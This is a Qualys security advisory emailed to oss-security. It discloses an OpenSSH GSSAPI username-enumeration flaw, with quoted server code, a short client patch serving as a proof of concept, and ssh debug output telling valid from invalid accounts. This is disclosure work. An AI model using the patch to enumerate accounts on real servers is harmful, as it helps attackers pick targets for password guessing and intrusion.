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Date: Mon, 27 Aug 2018 09:27:30 -0700
From: Qualys Security Advisory <qsa@...lys.com>
To: oss-security@...ts.openwall.com
Subject: Another OpenSSH "user enumeration"

Hi all,

On August 24, 2018, we sent the following email to openssh@...nssh.com
and distros@...openwall.org. About the disclosure of this issue, Solar
Designer wrote "I'd be even happier with it being made public right away
if that's OK with both the OpenSSH team and Qualys", and Theo de Raadt
wrote "More than reporting to us, I urge you to publish it"; for a
detailed explanation, please refer to Damien Miller's post:

http://www.openwall.com/lists/oss-security/2018/08/24/1

We thank the OpenSSH developers and the members of
distros@...openwall.org for their constructive comments, suggestions,
and feedback.

========================================================================

While properly reviewing the now-famous OpenSSH commit
https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
we discovered another username-enumeration vulnerability in auth2-gss.c
(enabled by default on at least Fedora, CentOS, and Red Hat Enterprise
Linux).

This vulnerability affects OpenSSH versions from 5.9 (September 6, 2011)
to the recently released 7.8 (August 24, 2018), inclusive. It is quite
similar to CVE-2018-15473 (it is not a timing attack), but it is also
markedly different (code excerpts from OpenSSH 7.8p1):

 61 static int
 62 userauth_gssapi(struct ssh *ssh)
 63 {
...
106         if (!authctxt->valid || authctxt->user == NULL) {
107                 debug2("%s: disabled because of invalid user", __func__);
108                 free(doid);
109                 return (0);
110         }
111 
112         if (GSS_ERROR(PRIVSEP(ssh_gssapi_server_ctx(&ctxt, &goid)))) {
113                 if (ctxt != NULL)
114                         ssh_gssapi_delete_ctx(&ctxt);
115                 free(doid);
116                 authctxt->server_caused_failure = 1;
117                 return (0);
118         }
...
123         if ((r = sshpkt_start(ssh, SSH2_MSG_USERAUTH_GSSAPI_RESPONSE)) != 0 ||
124             (r = sshpkt_put_string(ssh, doid, len)) != 0 ||
125             (r = sshpkt_send(ssh)) != 0)
...
132         authctxt->postponed = 1;
133 
134         return (0);
135 }

- If this first step of the GSSAPI authentication succeeds, then
  "postponed" is set to 1 (at line 132) and the server sends a packet
  SSH2_MSG_USERAUTH_GSSAPI_RESPONSE to the attacker (at lines 123-125):
  in this particular case, the user is necessarily valid (it exists).

- Otherwise "postponed" is not set, and userauth_gssapi() returns 0 at
  line 117 or 109: in both cases, the server's userauth_finish() sends a
  packet SSH2_MSG_USERAUTH_FAILURE to the attacker, who should therefore
  be unable to distinguish between a valid and invalid user. However, if
  the user is valid, then "server_caused_failure" is set (at line 116);
  if the user is invalid, it is not set. Consequently, the behavior of
  userauth_finish() changes:

340 void
341 userauth_finish(struct ssh *ssh, int authenticated, const char *method,
342     const char *submethod)
343 {
...
410                 if (!partial && !authctxt->server_caused_failure &&
411                     (authctxt->attempt > 1 || strcmp(method, "none") != 0))
412                         authctxt->failures++;
413                 if (authctxt->failures >= options.max_authtries) {
...
417                         auth_maxtries_exceeded(authctxt);
418                 }
...
422                 packet_start(SSH2_MSG_USERAUTH_FAILURE);
423                 packet_put_cstring(methods);
424                 packet_put_char(partial);
425                 packet_send();
...
429 }

  . if the user is valid, then "server_caused_failure" is set,
    "failures" is not incremented, and the attacker can attempt the
    GSSAPI authentication indefinitely;

  . if the user is invalid, then "server_caused_failure" is not set,
    "failures" is incremented (at line 412), and the server will
    disconnect the attacker (at line 417) after max_authtries
    authentication attempts (6, by default).

Below is a very crude proof-of-concept (a patch for the client in
OpenSSH 7.8p1):

------------------------------------------------------------------------

diff -pruN openssh-7.8p1/gss-genr.c openssh-7.8p1-poc/gss-genr.c
--- openssh-7.8p1/gss-genr.c	2018-08-22 22:41:42.000000000 -0700
+++ openssh-7.8p1-poc/gss-genr.c	2018-08-22 22:41:42.000000000 -0700
@@ -286,6 +286,7 @@ ssh_gssapi_check_mechanism(Gssctxt **ctx
 
 	ssh_gssapi_build_ctx(ctx);
 	ssh_gssapi_set_oid(*ctx, oid);
+	return 1;
 	major = ssh_gssapi_import_name(*ctx, host);
 	if (!GSS_ERROR(major)) {
 		major = ssh_gssapi_init_ctx(*ctx, 0, GSS_C_NO_BUFFER, &token, 
diff -pruN openssh-7.8p1/sshconnect2.c openssh-7.8p1-poc/sshconnect2.c
--- openssh-7.8p1/sshconnect2.c	2018-08-22 22:41:42.000000000 -0700
+++ openssh-7.8p1-poc/sshconnect2.c	2018-08-22 22:41:42.000000000 -0700
@@ -701,6 +701,7 @@ userauth_gssapi(Authctxt *authctxt)
 	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_TOKEN, &input_gssapi_token);
 	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERROR, &input_gssapi_error);
 	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERRTOK, &input_gssapi_errtok);
+	return 1;
 
 	mech++; /* Move along to next candidate */
 
------------------------------------------------------------------------

For example, on Fedora, "adm" is a valid user, but "pocorgtfo" is not:

------------------------------------------------------------------------

./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic adm@....0.0.1
...
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
...

./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic pocorgtfo@....0.0.1
...
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
Disconnected from 127.0.0.1 port 22

------------------------------------------------------------------------

We understand that the OpenSSH developers do not want to treat such a
username enumeration (or "oracle") as a vulnerability (although it is
quite useful in an attacker's toolbox), but how should we coordinate
this disclosure, then? OpenSSH developers, distros, please advise.

Thank you very much! With best regards,

-- 
the Qualys Security Advisory team

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